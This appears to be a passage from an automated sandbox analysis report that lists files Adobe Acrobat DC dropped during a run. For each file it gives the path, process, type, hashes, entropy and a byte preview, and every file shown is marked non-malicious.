SSDEEP:	384:yejci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0MurVgazUpUTTGt
MD5:	7FFEDB44DB6DC907697723A9A247A772
SHA1:	D52C69D5EE3CBE32E0EEE3A363EB5F29CA1F645D
SHA-256:	983E0D9CF3DF1C1285EA647A4B0DFE46454CA2B7E436819BA1E755615A0A5290
SHA-512:	514DC055AE36D983D24BD7F13BD3554BF9355E368A5B2B5BBB3295D2C06E0F04182451D5ACE144316293FA9865819CCD65D1898DB7DF5268FC3BF1E5210D83A8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772045163739302
Encrypted:	false
SSDEEP:	48:7Mvp/E2ioyV+ioy5oWoy1CUoy1KKOioy1noy1AYoy1Wioy1hioybioyEoy1noy1V:7Apju+J1XKQhxb9IVXEBodRBkT
MD5:	F5650DE9E6850D97185A55C1C0F0E34D
SHA1:	3F9D22B0D5DB35036F047D08281F31619F15D10C
SHA-256:	BD4F65BB6BC264BF169C04A9928E00DDD14816A71A7E97E25842A888D8D37EB1
SHA-512:	2EA9EC98639ED9386A53157E23DA78C9F2D8E6C43FDCD2B2A9D384BC9AEFD76129EF95787ED75A6A4D0F5206EFD52C976839EF6CA932EA87D0841CC95A8DE5ED
Malicious:	false
Preview:	.... .c.....d.Q................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl4uftfllXlE/HT8kWhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKhufeT8BVNMa8RdWBwRd
MD5:	E3D06C32714374D27A4A8C32F0A5538D
SHA1:	B6B808E69F6BFE1385BCCD915240C3AE100A608C
SHA-256:	A794270C531A1C0938BDB3D7CFAF7FEBDE8D5C6D033150ABBD29F60D70DBC843
SHA-512:	43A476F1BAEA38103E4A617D3AF3635B4932E9C12A07B4AA7D3D10C960275949CC572998066E1F5579E60DC86F0E7E1D5025CF88FD402A37B67C7023D1D2EDA4
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKpyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:oiDImsLNkPlE99SNxAhUe/3
MD5:	401F5E3A85416100DDFD85B589D75836
SHA1:	EF3E52A9223B604CC02B5A1F37A9FF9B08243C34
SHA-256:	82E5944B325A386B69892BA8D33BB0D9934CA5D9F5BB51438FF9146A4251B312
SHA-512:	B0A2E7241B73F6F938DC2C14AE5D5445C544C9C79010BB2EB2C667799632EA49457A7409D9C2CC1613F0032474F8C0AF433FFBC997483E27DE8EE32F815F10F3
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331021587298647
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJM3g98kUwPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGMbLUkee9
MD5:	3FC8EF3958E2FC779DDE614C42265328
SHA1:	56BBC316DC6E8D9B45AD99FFE04C2766E0CE4BA0
SHA-256:	51FB5B44A46C06E23E099E92966EF1EF077F5B65B02E3A56B11249B2F51FF193
SHA-512:	FF58A31ACF6841EEF6C1217F5ED76DE9B4290A1B5A0045FC45E1F2B84AB3AA013437F7258F33B93BA95185F9BF3DADDBCEB4445CC2710EFE3E06A9F99323C939
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2650878610588405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfBoTfXpnrPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGWTfXcUkee9
MD5:	A5BE01CB4B5B4449E8AE017F32BCE16A
SHA1:	B2382E36B24B8A016FBB3CD77655D50085DF160A
SHA-256:	C0249C7030F840F2FAB7387EB67405172A16ADD085AF735047606CDFD2AD6CDA
SHA-512:	07A680190F93D900D0A801836D6146F416B09D5A7C4176B7993BC9682332694704BFBC297F5426F78B9CD91078676BFCF21643F120414AC6F135F48653B3D59E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.244167325263802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfBD2G6UpnrPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGR22cUkee9
MD5:	3224065632F5CBCA6C5E966A56F90033
SHA1:	A9D1F4CD6651E6AD7AAF1FB0E0BCBF3CC792A5F1
SHA-256:	466124D0064349784DF65384A1F3854556FAB7B15A0D2E5496BDE5A159F9E995
SHA-512:	733D9E4D548DB723B7C456253F4D24023A004604FCC58DC23DAC0A19B2EECA01C73FCC585CA5A6938C10F40752E93213A9465606778356ED2291AD47F6D88F3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.304165497222024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfPmwrPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGH56Ukee9
MD5:	E3DF7B93001CA8D738DD981B455096B6
SHA1:	0CBD30E597E030A6A23D95F46531BB3EFE7F070C
SHA-256:	7A8F1687DFE2A2EF03414D57C901C2DD069D536FDDDBED331B1500CDBF7AD527
SHA-512:	50BD2612FEF079EA995B507F9C89E5232FD1D5729BBA2A696CEDAB26258B4CE7F86CED3A6238F20E8AD27C6E5C7ACE54621772C976FA09E61318E0A2C4EFFF2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6774595468520355
Encrypted:	false
SSDEEP:	24:Yv6Xg7UUX2pLgE9cQx8LennAvzBvkn0RCmK8czOCCSBx:Yvww2hgy6SAFv5Ah8cv/P
MD5:	A05876E9CF5C47F5BCA4E4850708F8E5
SHA1:	3918B43E90485361356B98C6FED341A3AF1EE63B
SHA-256:	3115978DBCBA2FA3C0D338663E1D0E0F4467CEF2187EA905B6C4FDA23810EE34
SHA-512:	EEFC17BD60BDA754BB4BAB1EE4BB0AEF0487BEA41EF1BCCE43E05D60626C9A1F699CA460AEEB75E17F916D70D403B15BA8A30FD0591F623DFBC6E786B1E4A764
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2410800645345805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJf8dPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGU8Ukee9
MD5:	3F0E9CCB810811426C008B14D1AC1F72
SHA1:	F086B05FF63DEAC849DDACF371F7D0FF75E07D45
SHA-256:	A73EBFF8D063277535129F2A6009B670DD77843F5FCCB64509FDD3C8313FE5A0
SHA-512:	2C93B63D8FA7A974DE6F0B4E8FC8D4FA7B4F5C7F7FFE4F23A345684B3C538B7876E557E92FB8F0609FBF27F7BAB45AFCAF45A8DDAD72F0EA98EEB583E9374165
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.243493875421926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfQ1rPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGY16Ukee9
MD5:	6C69583A7211DF19703479137110DD88
SHA1:	B3B0651F8D8286DB95C27BAEFB05395573E70F96
SHA-256:	1E8D40C878A5CEB2F0BF5BAAE93E922713E2A33646868488512E207871B6E5B7
SHA-512:	809667D1DD0140E110C51AB0F6B3D59AE97129FFD11CE96D792F69D7D7A3419DF07A1E75A1BF2A0ECCF062D2284CD76D14AE35A727376C3DB49260C3D8499932
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d266ade-8c30-4df0-8f2b-3e010e4ed3c0","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736731529000,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252069362965143
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqv/SK70kcUXjb24kF0YaWRDoAvJfFldPeUkwRe9:YvXKXFqv/SK7fcUTbd8OGz8Ukee9
